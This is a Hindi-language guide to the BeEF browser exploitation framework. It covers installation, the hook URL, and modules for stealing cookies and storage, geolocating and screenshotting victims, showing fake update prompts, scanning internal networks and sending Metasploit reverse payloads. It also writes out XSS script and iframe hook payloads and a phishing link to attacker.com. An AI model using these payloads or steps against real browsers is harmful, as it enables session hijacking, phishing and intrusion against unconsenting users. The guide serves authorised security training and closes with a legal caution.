🐮 BeEF - Browser Exploitation Framework

🌐 Browser Exploitation 🎯 Client-Side Attacks 🕸️ XSS Framework

Category: 6️⃣ Exploitation Tools


📝 Description

BeEF (Browser Exploitation Framework) एक शक्तिशाली क्लाइंट-साइड अटैक फ्रेमवर्क है। यह वेब ब्राउज़र्स की कमजोरियों का फायदा उठाकर टारगेट के ब्राउज़र पर कंट्रोल लेता है। BeEF एक JavaScript "हुक" के माध्यम से ब्राउज़र को "ज़ॉम्बी" बना देता है, जिसके बाद आप उस ब्राउज़र पर कई कमांड्स चला सकते हैं - स्क्रीनशॉट लेना, कीस्ट्रोक लॉग करना, इंटरनल नेटवर्क स्कैन करना, और भी बहुत कुछ।

विशेषता: BeEF की सबसे बड़ी खासियत है कि यह सर्वर-साइड नहीं बल्कि क्लाइंट-साइड फोकस करता है। एक बार ब्राउज़र हुक हो जाए, तो आप उस ब्राउज़र पर पूरा कंट्रोल ले सकते हैं, चाहे वह कहीं भी हो।

📦 Installation

Kali Linux (पहले से इंस्टॉल):

beef-xss

Ubuntu/Debian:

sudo apt update
sudo apt install beef-xss -y

GitHub से इंस्टॉल:

git clone https://github.com/beefproject/beef.git
cd beef
./install
./beef

Docker से चलाना:

docker pull beefproject/beef
docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 beefproject/beef

💻 Common Commands (उदाहरण सहित)

📌 BeEF शुरू करना:

sudo beef-xss
👉 उदाहरण: BeEF सर्वर शुरू होता है। Web UI: http://127.0.0.1:3000/ui/panel (डिफॉल्ट: beef/beef)

🔹 1. हुक (Hook) URL प्राप्त करना:

http://127.0.0.1:3000/hook.js
👉 उदाहरण: यह JavaScript फाइल है जिसे टारगेट के ब्राउज़र में लोड करना है। इसे XSS वल्नरेबिलिटी के माध्यम से या किसी लिंक के जरिए भेजा जा सकता है।

🔹 2. डेमो पेज पर हुक टेस्ट करना:

http://127.0.0.1:3000/demos/basic.html
👉 उदाहरण: BeEF के साथ आने वाला डेमो पेज, जहाँ हुक पहले से लगा होता है।

🔹 3. हुक किए गए ब्राउज़र देखना:

👉 उदाहरण: Web UI में "Online Browsers" सेक्शन में सभी हुक किए गए ब्राउज़र दिखते हैं (IP, OS, ब्राउज़र वर्जन, आदि)।

🔹 4. ब्राउज़र पर कमांड चलाना:

👉 उदाहरण: किसी ब्राउज़र पर क्लिक करें → "Commands" टैब → कमांड चुनें (जैसे "Get Cookies", "Get Geolocation") → "Execute" दबाएं।

🎯 BeEF के मुख्य कमांड्स (मॉड्यूल):

🔹 Browser Fingerprinting:

Browser → Detect Browser
Browser → Get Browser Fingerprint
👉 उदाहरण: ब्राउज़र का प्रकार, वर्जन, OS, स्क्रीन रेजोल्यूशन, फॉन्ट्स की जानकारी लेना।

🔹 Cookies & Storage:

Browser → Get Cookie
Browser → Get Local Storage
Browser → Get Session Storage
👉 उदाहरण: ब्राउज़र में सेव कुकीज़ और लोकल स्टोरेज डेटा चुराना।

🔹 Geolocation:

Browser → Get Geolocation (GPS)
👉 उदाहरण: टारगेट की लोकेशन (अगर ब्राउज़र ने परमिशन दी हो) प्राप्त करना।

🔹 Screenshot:

Browser → Take Screenshot (HTML2Canvas)
👉 उदाहरण: टारगेट के ब्राउज़र विंडो का स्क्रीनशॉट लेना।

🔹 Social Engineering:

Social Engineering → Fake Notification (Chrome)
Social Engineering → Fake Flash Update
👉 उदाहरण: फेक अपडेट नोटिफिकेशन दिखाकर यूजर को फाइल डाउनलोड करने के लिए मजबूर करना।

🔹 Network Discovery:

Network → Ping Sweep
Network → Port Scanner
Network → Get Internal IP
👉 उदाहरण: टारगेट के इंटरनल नेटवर्क (192.168.x.x) को स्कैन करना।

🔹 Persistence:

Persistence → Create Pop Under
Persistence → Man-in-the-Browser
👉 उदाहरण: ब्राउज़र बंद करने के बाद भी हुक बनाए रखना।

🔹 Exploits:

Exploits → Internet Explorer CSS 0day
Exploits → Firefox PDF Viewer Exploit
👉 उदाहरण: ब्राउज़र या प्लगइन की वल्नरेबिलिटी को एक्सप्लॉइट करना।

🔹 Metasploit Integration:

Metasploit → Bind Metasploit Payload
Metasploit → Reverse TCP Payload
👉 उदाहरण: Metasploit पेलोड को ब्राउज़र पर भेजकर पूरा Meterpreter सेशन प्राप्त करना।

🎯 BeEF के मुख्य टैब्स:

🎯 Use Cases (उपयोग के तरीके)

⚙️ Key Features (मुख्य विशेषताएँ)

📌 BeEF हुक URL कैसे भेजें:

  • XSS वल्नरेबिलिटी: किसी वेबसाइट में XSS पेलोड डालें: <script src="http://your-ip:3000/hook.js"></script>
  • ईमेल फिशिंग: लिंक भेजें: http://attacker.com/beef-hook.html
  • URL शॉर्टनर: URL शॉर्टनर से लिंक छुपाना
  • Iframe: <iframe src="http://your-ip:3000/demos/basic.html"></iframe>

📌 BeEF vs Metasploit:

  • BeEF: क्लाइंट-साइड (ब्राउज़र) फोकस, सोशल इंजीनियरिंग, ब्राउज़र एक्सप्लॉइट्स
  • Metasploit: सर्वर-साइड फोकस, सिस्टम एक्सप्लॉइट्स, पेलोड जनरेशन
  • अनुशंसा: दोनों एक साथ उपयोग करें - BeEF से ब्राउज़र हुक करें, फिर Metasploit से Meterpreter पेलोड भेजें।

🔗 Official Resources

🔧 Related Tools (समान उपकरण)

📌 BeEF के लिए सुझाव:

  • पहले डेमो पेज (/demos/basic.html) पर प्रैक्टिस करें
  • हुक URL को किसी XSS वल्नरेबिलिटी के माध्यम से टेस्ट करें
  • Metasploit के साथ इंटीग्रेट करें (पूरा Meterpreter सेशन)
  • कुकीज़ और सेशन हाईजैकिंग का प्रैक्टिस करें
  • सोशल इंजीनियरिंग मॉड्यूल्स का उपयोग करें

⚠️ Important Note (सावधानी)

BeEF एक बेहद शक्तिशाली ब्राउज़र एक्सप्लॉइटेशन फ्रेमवर्क है। इसका उपयोग केवल उन्हीं सिस्टम पर करें जिनकी आपको लिखित अनुमति हो। बिना अनुमति के ब्राउज़र हुक करना, कुकी चुराना, या ब्राउज़र पर कंट्रोल लेना कानूनी अपराध है। हमेशा अपने खुद के सिस्टम, CTF चैलेंज, या बग बाउंटी प्रोग्राम पर ही प्रैक्टिस करें। BeEF का उपयोग सीखने और सुरक्षा ऑडिट के लिए करें, न कि अनधिकृत पहुंच के लिए।